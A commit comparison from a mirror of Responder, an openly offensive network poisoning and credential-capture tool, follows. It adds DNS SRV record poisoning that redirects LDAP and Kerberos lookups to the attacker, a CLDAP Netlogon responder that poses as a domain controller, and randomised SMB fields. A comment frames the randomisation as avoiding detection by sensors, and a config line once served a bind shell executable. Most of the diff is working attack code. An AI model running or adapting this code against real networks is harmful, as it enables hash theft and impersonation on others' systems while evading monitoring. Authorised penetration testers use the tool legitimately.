mirror of
https://github.com/lgandx/Responder.git
synced 2025-12-15 12:19:04 +00:00
Compare commits
17 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1271b8e179 | ||
|
|
d01bbaafae | ||
|
|
e55eeed3d4 | ||
|
|
6c51080109 | ||
|
|
724cfecb5a | ||
|
|
3b3ee1314e | ||
|
|
6658c2b98f | ||
|
|
5c56c6e0ca | ||
|
|
35b12b4832 | ||
|
|
cc3a5b5cff | ||
|
|
5d762c4a55 | ||
|
|
ccee87aa95 | ||
|
|
dd1a674080 | ||
|
|
4b02bcadf1 | ||
|
|
8104139a35 | ||
|
|
06f9f91f11 | ||
|
|
b0f044fe4e |
13
README.md
13
README.md
@@ -89,7 +89,7 @@ Additionally, all captured hashed are logged into an SQLite database which you c
|
|||||||
|
|
||||||
## Considerations ##
|
## Considerations ##
|
||||||
|
|
||||||
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128 and Multicast UDP 5553.
|
- This tool listens on several ports: UDP 137, UDP 138, UDP 53, UDP/TCP 389,TCP 1433, UDP 1434, TCP 80, TCP 139, TCP 445, TCP 21, TCP 3141,TCP 25, TCP 110, TCP 587, TCP 3128, Multicast UDP 5355 and 5353.
|
||||||
|
|
||||||
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
|
- If you run Samba on your system, stop smbd and nmbd and all other services listening on these ports.
|
||||||
|
|
||||||
@@ -164,10 +164,13 @@ Options:
|
|||||||
|
|
||||||
## Donation ##
|
## Donation ##
|
||||||
|
|
||||||
You can contribute to this project by donating to the following BTC address:
|
You can contribute to this project by donating to the following $XLM (Stellar Lumens) address:
|
||||||
|
|
||||||
1Pv9rZMNfy9hsW19eQhNGs22gY9sf6twjW
|
"GCGBMO772FRLU6V4NDUKIEXEFNVSP774H2TVYQ3WWHK4TEKYUUTLUKUH"
|
||||||
|
|
||||||
|
Or BTC address:
|
||||||
|
|
||||||
|
"1HkFmFs5fmbCoJ7ZM5HHbGgjyqemfU9o7Q"
|
||||||
|
|
||||||
## Acknowledgments ##
|
## Acknowledgments ##
|
||||||
|
|
||||||
@@ -181,6 +184,10 @@ We would like to thanks those major donator:
|
|||||||
|
|
||||||
- TrustedSec: https://www.trustedsec.com/
|
- TrustedSec: https://www.trustedsec.com/
|
||||||
|
|
||||||
|
- Red Siege Information Security: https://www.redsiege.com/
|
||||||
|
|
||||||
|
- Open-Sec: http://www.open-sec.com/
|
||||||
|
|
||||||
- And all, ALL the pentesters around the world who donated to this project.
|
- And all, ALL the pentesters around the world who donated to this project.
|
||||||
|
|
||||||
Thank you.
|
Thank you.
|
||||||
|
|||||||
@@ -80,7 +80,7 @@ Serve-Html = Off
|
|||||||
HtmlFilename = files/AccessDenied.html
|
HtmlFilename = files/AccessDenied.html
|
||||||
|
|
||||||
; Custom EXE File to serve
|
; Custom EXE File to serve
|
||||||
ExeFilename = files/BindShell.exe
|
ExeFilename = ;files/filetoserve.exe
|
||||||
|
|
||||||
; Name of the downloaded .exe that the client will see
|
; Name of the downloaded .exe that the client will see
|
||||||
ExeDownloadName = ProxyClient.exe
|
ExeDownloadName = ProxyClient.exe
|
||||||
|
|||||||
@@ -307,8 +307,9 @@ def main():
|
|||||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 110, POP3,)))
|
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 110, POP3,)))
|
||||||
|
|
||||||
if settings.Config.LDAP_On_Off:
|
if settings.Config.LDAP_On_Off:
|
||||||
from servers.LDAP import LDAP
|
from servers.LDAP import LDAP, CLDAP
|
||||||
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
|
threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,)))
|
||||||
|
threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,)))
|
||||||
|
|
||||||
if settings.Config.SMTP_On_Off:
|
if settings.Config.SMTP_On_Off:
|
||||||
from servers.SMTP import ESMTP
|
from servers.SMTP import ESMTP
|
||||||
@@ -328,7 +329,7 @@ def main():
|
|||||||
thread.setDaemon(True)
|
thread.setDaemon(True)
|
||||||
thread.start()
|
thread.start()
|
||||||
|
|
||||||
print(color('[+]', 2, 1) + " Listening for events...")
|
print(color('\n[+]', 2, 1) + " Listening for events...\n")
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|||||||
Binary file not shown.
182
packets.py
182
packets.py
@@ -18,10 +18,12 @@
|
|||||||
import struct
|
import struct
|
||||||
import settings
|
import settings
|
||||||
import codecs
|
import codecs
|
||||||
|
import random
|
||||||
|
import re
|
||||||
|
from os import urandom
|
||||||
from base64 import b64decode, b64encode
|
from base64 import b64decode, b64encode
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
from utils import HTTPCurrentDate, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
|
from utils import HTTPCurrentDate, SMBTime, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
|
||||||
|
|
||||||
# Packet class handling all packet generation (see odict.py).
|
# Packet class handling all packet generation (see odict.py).
|
||||||
class Packet():
|
class Packet():
|
||||||
@@ -38,6 +40,10 @@ class Packet():
|
|||||||
def __str__(self):
|
def __str__(self):
|
||||||
return "".join(map(str, self.fields.values()))
|
return "".join(map(str, self.fields.values()))
|
||||||
|
|
||||||
|
def GenerateCallbackName():
|
||||||
|
return ''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
|
||||||
|
|
||||||
|
|
||||||
# NBT Answer Packet
|
# NBT Answer Packet
|
||||||
class NBT_Ans(Packet):
|
class NBT_Ans(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -65,7 +71,7 @@ class NBT_Ans(Packet):
|
|||||||
class DNS_Ans(Packet):
|
class DNS_Ans(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
("Tid", ""),
|
("Tid", ""),
|
||||||
("Flags", "\x80\x10"),
|
("Flags", "\x85\x10"),
|
||||||
("Question", "\x00\x01"),
|
("Question", "\x00\x01"),
|
||||||
("AnswerRRS", "\x00\x01"),
|
("AnswerRRS", "\x00\x01"),
|
||||||
("AuthorityRRS", "\x00\x00"),
|
("AuthorityRRS", "\x00\x00"),
|
||||||
@@ -88,6 +94,81 @@ class DNS_Ans(Packet):
|
|||||||
self.fields["IP"] = RespondWithIPAton()
|
self.fields["IP"] = RespondWithIPAton()
|
||||||
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
|
class DNS_SRV_Ans(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Tid", ""),
|
||||||
|
("Flags", "\x85\x80"),
|
||||||
|
("Question", "\x00\x01"),
|
||||||
|
("AnswerRRS", "\x00\x01"),
|
||||||
|
("AuthorityRRS", "\x00\x00"),
|
||||||
|
("AdditionalRRS", "\x00\x01"),
|
||||||
|
("QuestionName", ""),
|
||||||
|
("QuestionNameNull", "\x00"),
|
||||||
|
("Type", "\x00\x21"),#srv
|
||||||
|
("Class", "\x00\x01"),
|
||||||
|
("AnswerPointer", "\xc0\x0c"),
|
||||||
|
("Type1", "\x00\x21"),#srv
|
||||||
|
("Class1", "\x00\x01"),
|
||||||
|
("TTL", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||||
|
("RecordLen", ""),
|
||||||
|
("Priority", "\x00\x00"),
|
||||||
|
("Weight", "\x00\x64"),
|
||||||
|
("Port", "\x00\x00"),
|
||||||
|
("TargetLenPre", "\x0f"), # static, we provide netbios computer name 15 chars like Windows by default.
|
||||||
|
("TargetPrefix", ""),
|
||||||
|
("TargetLenSuff", ""),
|
||||||
|
("TargetSuffix", ""),
|
||||||
|
("TargetLenSuff2", ""),
|
||||||
|
("TargetSuffix2", ""),
|
||||||
|
("TargetNull", "\x00"),
|
||||||
|
("AnswerAPointer", "\xc0"),
|
||||||
|
("AnswerAPtrOffset", ""),
|
||||||
|
("Type2", "\x00\x01"),#A record.
|
||||||
|
("Class2", "\x00\x01"),
|
||||||
|
("TTL2", "\x00\x00\x00\x1e"), #30 secs, don't mess with their cache for too long..
|
||||||
|
("IPLen", "\x00\x04"),
|
||||||
|
("IP", "\x00\x00\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self,data):
|
||||||
|
self.fields["Tid"] = data[0:2]
|
||||||
|
DNSName = ''.join(data[12:].split('\x00')[:1])
|
||||||
|
SplitFQDN = re.split('\W+', DNSName) # split the ldap.tcp.blah.blah.blah.domain.tld
|
||||||
|
|
||||||
|
#What's the question? we need it first to calc all other len.
|
||||||
|
self.fields["QuestionName"] = DNSName
|
||||||
|
|
||||||
|
#Want to be detected that easily by xyz sensor?
|
||||||
|
self.fields["TargetPrefix"] = "win-"+GenerateCallbackName()
|
||||||
|
|
||||||
|
#two last parts of the domain are the actual Domain name.. eg: contoso.com
|
||||||
|
self.fields["TargetSuffix"] = SplitFQDN[-2]
|
||||||
|
self.fields["TargetSuffix2"] = SplitFQDN[-1]
|
||||||
|
#We calculate the len for that domain...
|
||||||
|
self.fields["TargetLenSuff2"] = StructPython2or3(">B",self.fields["TargetSuffix2"])
|
||||||
|
self.fields["TargetLenSuff"] = StructPython2or3(">B",self.fields["TargetSuffix"])
|
||||||
|
|
||||||
|
# Calculate Record len.
|
||||||
|
CalcLen = self.fields["Priority"]+self.fields["Weight"]+self.fields["Port"]+self.fields["TargetLenPre"]+self.fields["TargetPrefix"]+self.fields["TargetLenSuff"]+self.fields["TargetSuffix"]+self.fields["TargetLenSuff2"]+self.fields["TargetSuffix2"]+self.fields["TargetNull"]
|
||||||
|
|
||||||
|
#Our answer len..
|
||||||
|
self.fields["RecordLen"] = StructPython2or3(">h",CalcLen)
|
||||||
|
|
||||||
|
#Where is Answer A Pointer...
|
||||||
|
CalcRROffset= self.fields["QuestionName"]+self.fields["QuestionNameNull"]+self.fields["Type"]+self.fields["Class"]+CalcLen
|
||||||
|
self.fields["AnswerAPtrOffset"] = StructWithLenPython2or3("B",len(CalcRROffset)-4)
|
||||||
|
|
||||||
|
#for now we support ldap and kerberos...
|
||||||
|
if "ldap" in DNSName:
|
||||||
|
self.fields["Port"] = StructWithLenPython2or3(">h", 389)
|
||||||
|
|
||||||
|
if "kerberos" in DNSName:
|
||||||
|
self.fields["Port"] = StructWithLenPython2or3(">h", 88)
|
||||||
|
|
||||||
|
#Last but not least... we provide our IP, so computers can enjoy our services.
|
||||||
|
self.fields["IP"] = RespondWithIPAton()
|
||||||
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
# LLMNR Answer Packet
|
# LLMNR Answer Packet
|
||||||
class LLMNR_Ans(Packet):
|
class LLMNR_Ans(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -782,6 +863,87 @@ class LDAPNTLMChallenge(Packet):
|
|||||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||||
|
|
||||||
|
##cldap
|
||||||
|
class CLDAPNetlogon(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("ParserHeadASNID", "\x30"),
|
||||||
|
("ParserHeadASNLenOfLen", "\x84"),
|
||||||
|
("ParserHeadASNLen", "\x00\x00\x00\x9D"),
|
||||||
|
("MessageIDASNID", "\x02"),
|
||||||
|
("MessageIDASNLen", "\x02"),
|
||||||
|
("MessageIDASNStr", "\x00\xc4"),#First MsgID
|
||||||
|
("OpHeadASNID", "\x64"),
|
||||||
|
("OpHeadASNIDLenOfLen", "\x84"),
|
||||||
|
("OpHeadASNIDLen", "\x00\x00\x00\xc7"),
|
||||||
|
("Status", "\x04"),
|
||||||
|
("StatusASNLen", "\x00"),
|
||||||
|
("StatusASNStr", ""),
|
||||||
|
("SequenceHeader", "\x30"),
|
||||||
|
("SequenceHeaderLenOfLen", "\x84"),
|
||||||
|
("SequenceHeaderLen", "\x00\x00\x00\x8b"),
|
||||||
|
#Netlogon packet starts here....
|
||||||
|
("PartAttribHead", "\x30"),
|
||||||
|
("PartAttribHeadLenofLen", "\x84"),
|
||||||
|
("PartAttribHeadLen", "\x00\x00\x00\x85"),
|
||||||
|
("NetlogonHead", "\x04"),
|
||||||
|
("NetlogonLen", "\x08"),
|
||||||
|
("NetlogonStr", "Netlogon"),
|
||||||
|
("NetAttribHead", "\x31"),
|
||||||
|
("NetAttribLenOfLen", "\x84"),
|
||||||
|
("NetAttribLen", "\x00\x00\x00\x75"),
|
||||||
|
("NetAttrib1Head", "\x04"),
|
||||||
|
("NetAttrib1Len", "\x73"),
|
||||||
|
("NTLogonOpcode", "\x17\x00"),#SamLogonRespEx opcode
|
||||||
|
("NTLogonSbz", "\x00\x00"),
|
||||||
|
("NTLogonFlags", "\xFD\xF3\x03\x00"),
|
||||||
|
("NTLogonDomainGUID", "\x3E\xDE\x55\x61\xF0\x79\x8F\x44\x83\x10\x83\x63\x08\xD4\xBB\x26"),
|
||||||
|
("NTLogonForestName", "\x04\x73\x6D\x62\x33\x05\x6C\x6F\x63\x61\x6C"),
|
||||||
|
("NTLogonForestNameNull", "\x00"),
|
||||||
|
("NTLogonDomainNamePtr", "\xc0"),
|
||||||
|
("NTLogonDomainNamePtrOffset", "\x18"),
|
||||||
|
("NTLogonPDCNBTName", "\x0F\x57\x49\x4E\x2D\x48\x51\x46\x42\x34\x4F\x52\x34\x4B\x49\x4D"),
|
||||||
|
("NTLogonPDCNBTTLDPtr", "\xC0\x18"),
|
||||||
|
("NTLogonDomainNameShort", "\x04\x53\x4D\x42\x33"),
|
||||||
|
("NTLogonDomainNameShortNull", "\x00"),
|
||||||
|
("NTLogonDomainNBTName", "\x0F\x57\x49\x4E\x2D\x48\x51\x46\x42\x34\x4F\x52\x34\x4B\x49\x4D"),
|
||||||
|
("NTLogonDomainNBTNameNull", "\x00"),
|
||||||
|
("NTLogonUsername", "\x00"),
|
||||||
|
("DCSiteName", "\x17\x44\x65\x66\x61\x75\x6C\x74\x2D\x46\x69\x72\x73\x74\x2D\x53\x69\x74\x65\x2D\x4E\x61\x6D\x65\x00"),#static 95% PDC use this.
|
||||||
|
("ClientSiteNamePtr", "\xc0"),
|
||||||
|
("ClientSiteNamePtrOffset", "\x50"),
|
||||||
|
("NTLogonVersion", "\x05\x00\x00\x00"),
|
||||||
|
("LMNTToken", "\xff\xff"),
|
||||||
|
("LM2Token", "\xff\xff"),#End netlogon.
|
||||||
|
("CLDAPMessageIDHeader", "\x30\x84\x00\x00\x00\x11"),
|
||||||
|
("CLDAPMessageIDInt", "\x02"),
|
||||||
|
("CLDAPMessageIDlen", "\x02"),
|
||||||
|
("CLDAPMessageIDStr", "\x00\xc4"),#Second MsgID
|
||||||
|
("SearchDone", "\x65\x84\x00\x00\x00\x07"),
|
||||||
|
("SearchDoneMatched", "\x0A\x01\x00\x04\x00\x04\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
###### LDAP Packet Len
|
||||||
|
CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
|
||||||
|
OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])
|
||||||
|
|
||||||
|
###### Netlogon + Search Successfull Len
|
||||||
|
CalculateNetlogonLen = str(self.fields["NTLogonOpcode"])+str(self.fields["NTLogonSbz"])+str(self.fields["NTLogonFlags"])+str(self.fields["NTLogonDomainGUID"])+str(self.fields["NTLogonForestName"])+str(self.fields["NTLogonForestNameNull"])+str(self.fields["NTLogonDomainNamePtr"])+str(self.fields["NTLogonDomainNamePtrOffset"])+str(self.fields["NTLogonPDCNBTName"])+str(self.fields["NTLogonPDCNBTTLDPtr"])+str(self.fields["NTLogonDomainNameShort"])+str(self.fields["NTLogonDomainNameShortNull"])+str(self.fields["NTLogonDomainNBTName"])+str(self.fields["NTLogonDomainNBTNameNull"])+str(self.fields["NTLogonUsername"])+str(self.fields["DCSiteName"])+str(self.fields["ClientSiteNamePtr"])+str(self.fields["ClientSiteNamePtrOffset"])+str(self.fields["NTLogonVersion"])+str(self.fields["LMNTToken"])+str(self.fields["LM2Token"]) #115 now.
|
||||||
|
|
||||||
|
|
||||||
|
CalculateNetlogonOffset = str(self.fields["NTLogonForestName"])+str(self.fields["NTLogonForestNameNull"])+str(self.fields["NTLogonDomainNamePtr"])+str(self.fields["NTLogonDomainNamePtrOffset"])+str(self.fields["NTLogonPDCNBTName"])+str(self.fields["NTLogonPDCNBTTLDPtr"])+str(self.fields["NTLogonDomainNameShort"])+str(self.fields["NTLogonDomainNameShortNull"])+str(self.fields["NTLogonDomainNBTName"])+str(self.fields["NTLogonDomainNBTNameNull"])+str(self.fields["NTLogonUsername"])+str(self.fields["DCSiteName"])
|
||||||
|
|
||||||
|
##### LDAP ASN Len Calculation:
|
||||||
|
self.fields["NetAttrib1Len"] = StructWithLenPython2or3(">B", len(CalculateNetlogonLen))
|
||||||
|
self.fields["NetAttribLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+2)
|
||||||
|
self.fields["PartAttribHeadLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+18)
|
||||||
|
self.fields["SequenceHeaderLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+24)
|
||||||
|
self.fields["OpHeadASNIDLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+32)
|
||||||
|
self.fields["ParserHeadASNLen"] = StructWithLenPython2or3(">L", len(CalculateNetlogonLen)+42)
|
||||||
|
######
|
||||||
|
self.fields["ClientSiteNamePtrOffset"] = StructWithLenPython2or3(">B", len(CalculateNetlogonOffset)-1)
|
||||||
|
|
||||||
##### SMB Packets #####
|
##### SMB Packets #####
|
||||||
class SMBHeader(Packet):
|
class SMBHeader(Packet):
|
||||||
fields = OrderedDict([
|
fields = OrderedDict([
|
||||||
@@ -980,7 +1142,7 @@ class SMBNegoAnsLM(Packet):
|
|||||||
("Maxrawbuff", "\x00\x00\x01\x00"),
|
("Maxrawbuff", "\x00\x00\x01\x00"),
|
||||||
("Sessionkey", "\x00\x00\x00\x00"),
|
("Sessionkey", "\x00\x00\x00\x00"),
|
||||||
("Capabilities", "\xfc\x3e\x01\x00"),
|
("Capabilities", "\xfc\x3e\x01\x00"),
|
||||||
("Systemtime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
("Systemtime", SMBTime()),
|
||||||
("Srvtimezone", "\x2c\x01"),
|
("Srvtimezone", "\x2c\x01"),
|
||||||
("Keylength", "\x08"),
|
("Keylength", "\x08"),
|
||||||
("Bcc", "\x10\x00"),
|
("Bcc", "\x10\x00"),
|
||||||
@@ -1009,11 +1171,11 @@ class SMBNegoAns(Packet):
|
|||||||
("MaxRawBuff", "\x00\x00\x01\x00"),
|
("MaxRawBuff", "\x00\x00\x01\x00"),
|
||||||
("SessionKey", "\x00\x00\x00\x00"),
|
("SessionKey", "\x00\x00\x00\x00"),
|
||||||
("Capabilities", "\xfd\xf3\x01\x80"),
|
("Capabilities", "\xfd\xf3\x01\x80"),
|
||||||
("SystemTime", "\x84\xd6\xfb\xa3\x01\x35\xcd\x01"),
|
("SystemTime", SMBTime()),
|
||||||
("SrvTimeZone", "\xf0\x00"),
|
("SrvTimeZone", "\xf0\x00"),
|
||||||
("KeyLen", "\x00"),
|
("KeyLen", "\x00"),
|
||||||
("Bcc", "\x57\x00"),
|
("Bcc", "\x57\x00"),
|
||||||
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
|
("Guid", urandom(16).decode('latin-1')),
|
||||||
("InitContextTokenASNId", "\x60"),
|
("InitContextTokenASNId", "\x60"),
|
||||||
("InitContextTokenASNLen", "\x5b"),
|
("InitContextTokenASNLen", "\x5b"),
|
||||||
("ThisMechASNId", "\x06"),
|
("ThisMechASNId", "\x06"),
|
||||||
@@ -1076,7 +1238,7 @@ class SMBNegoKerbAns(Packet):
|
|||||||
("SrvTimeZone", "\xf0\x00"),
|
("SrvTimeZone", "\xf0\x00"),
|
||||||
("KeyLen", "\x00"),
|
("KeyLen", "\x00"),
|
||||||
("Bcc", "\x57\x00"),
|
("Bcc", "\x57\x00"),
|
||||||
("Guid", "\xc8\x27\x3d\xfb\xd4\x18\x55\x4f\xb2\x40\xaf\xd7\x61\x73\x75\x3b"),
|
("Guid", urandom(16).decode('latin-1')),
|
||||||
("InitContextTokenASNId", "\x60"),
|
("InitContextTokenASNId", "\x60"),
|
||||||
("InitContextTokenASNLen", "\x5b"),
|
("InitContextTokenASNLen", "\x5b"),
|
||||||
("ThisMechASNId", "\x06"),
|
("ThisMechASNId", "\x06"),
|
||||||
@@ -1377,8 +1539,8 @@ class SMB2NegoAns(Packet):
|
|||||||
("MaxTransSize", "\x00\x00\x10\x00"),
|
("MaxTransSize", "\x00\x00\x10\x00"),
|
||||||
("MaxReadSize", "\x00\x00\x10\x00"),
|
("MaxReadSize", "\x00\x00\x10\x00"),
|
||||||
("MaxWriteSize", "\x00\x00\x10\x00"),
|
("MaxWriteSize", "\x00\x00\x10\x00"),
|
||||||
("SystemTime", "\x27\xfb\xea\xd7\x50\x09\xd2\x01"),
|
("SystemTime", SMBTime()),
|
||||||
("BootTime", "\x22\xfb\x80\x01\x40\x09\xd2\x01"),
|
("BootTime", SMBTime()),
|
||||||
("SecBlobOffSet", "\x80\x00"),
|
("SecBlobOffSet", "\x80\x00"),
|
||||||
("SecBlobLen", "\x78\x00"),
|
("SecBlobLen", "\x78\x00"),
|
||||||
("Reserved2", "\x00\x00\x00\x00"),
|
("Reserved2", "\x00\x00\x00\x00"),
|
||||||
@@ -1522,7 +1684,7 @@ class SMB2Session1Data(Packet):
|
|||||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB3.local"),
|
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB3.local"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
|
("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
|
("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr","\xc0\x65\x31\x50\xde\x09\xd2\x01"),
|
("NTLMSSPNTLMChallengeAVPairs7UnicodeStr",SMBTime()),
|
||||||
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
||||||
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
||||||
])
|
])
|
||||||
|
|||||||
@@ -15,7 +15,7 @@
|
|||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from utils import *
|
from utils import *
|
||||||
from packets import DNS_Ans
|
from packets import DNS_Ans, DNS_SRV_Ans
|
||||||
if settings.Config.PY2OR3 == "PY3":
|
if settings.Config.PY2OR3 == "PY3":
|
||||||
from socketserver import BaseRequestHandler
|
from socketserver import BaseRequestHandler
|
||||||
else:
|
else:
|
||||||
@@ -23,9 +23,11 @@ else:
|
|||||||
|
|
||||||
def ParseDNSType(data):
|
def ParseDNSType(data):
|
||||||
QueryTypeClass = data[len(data)-4:]
|
QueryTypeClass = data[len(data)-4:]
|
||||||
|
|
||||||
# If Type A, Class IN, then answer.
|
# If Type A, Class IN, then answer.
|
||||||
return QueryTypeClass == "\x00\x01\x00\x01"
|
if QueryTypeClass == "\x00\x01\x00\x01":
|
||||||
|
return "A"
|
||||||
|
if QueryTypeClass == "\x00\x21\x00\x01":
|
||||||
|
return "SRV"
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@@ -37,12 +39,19 @@ class DNS(BaseRequestHandler):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
data, soc = self.request
|
data, soc = self.request
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode == False:
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode == False:
|
||||||
buff = DNS_Ans()
|
buff = DNS_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
|
||||||
|
buff = DNS_SRV_Ans()
|
||||||
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
|
||||||
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
|
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
@@ -56,12 +65,19 @@ class DNSTCP(BaseRequestHandler):
|
|||||||
|
|
||||||
try:
|
try:
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
if ParseDNSType(NetworkRecvBufferPython2or3(data)) and settings.Config.AnalyzeMode is False:
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "A" and settings.Config.AnalyzeMode is False:
|
||||||
buff = DNS_Ans()
|
buff = DNS_Ans()
|
||||||
buff.calculate(NetworkRecvBufferPython2or3(data))
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
self.request.send(NetworkSendBufferPython2or3(buff))
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
print(color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
|
if ParseDNSType(NetworkRecvBufferPython2or3(data)) is "SRV" and settings.Config.AnalyzeMode == False:
|
||||||
|
buff = DNS_SRV_Ans()
|
||||||
|
buff.calculate(NetworkRecvBufferPython2or3(data))
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(buff))
|
||||||
|
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||||
|
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
|
||||||
|
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|||||||
131
servers/LDAP.py
131
servers/LDAP.py
@@ -19,18 +19,67 @@ if (sys.version_info > (3, 0)):
|
|||||||
from socketserver import BaseRequestHandler
|
from socketserver import BaseRequestHandler
|
||||||
else:
|
else:
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
